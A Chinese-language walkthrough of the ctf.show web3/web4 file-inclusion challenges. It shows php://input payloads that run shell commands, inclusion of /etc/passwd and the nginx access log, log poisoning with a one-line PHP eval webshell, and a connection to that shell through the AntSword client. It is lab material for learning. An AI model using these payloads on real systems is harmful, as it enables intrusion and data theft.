> 文章列表 > php伪协议使用示例

php伪协议使用示例

php伪协议使用示例

1、进入ctf.show靶场的WEB分类下的web3、web4题

  打开的靶场内容显示如下图所示,是文件包含类型,需要上传一个文件,参数名称是 url

 

 2、打开靶场,使用kakit抓包后,利用php伪协议,上传一个php输入流

?url=php://input

<?php system('ls ./');?>

注意:此为执行“查看当前目录”命令。

 ?url=php://input

<?php system('cat ./ctf_go_go_go');?>

 注意:此为执行“查看当前目录下ctf_go_go_go文件内容”命令。

 如上图所示,获取本题flag。

3、利用php伪协议,上传一个服务本地文件

?url=/etc/passwd

注意:此为包含一个服务器本地/etc/passwd文件

 ?url=/var/log/nginx/access.log

注意:此为包含一个服务器本地/var/log/nginx/access.log文件

如上图所示,可以看到nginx的access.log中记录了浏览器版本信息,使用yakit抓包后,浏览器版本信息后面可以追加上一句话木马<?php @eval($_POST['test']);?>,然后放行后。

 使用“中国蚁剑”链接。注意这里的链接密码test是一句话目录需要传的参数名称(即需要执行的系统命令,将以该参数名提交到服务器)。

 如上图所示,点击“保存”后,双击该链接,可以直接链接到服务器,浏览服务器目录,发现当前页面的上级目录下有个flag.txt。

 双击flag.txt,即可查找到flag。

  另外网页上访问,可以发现flag。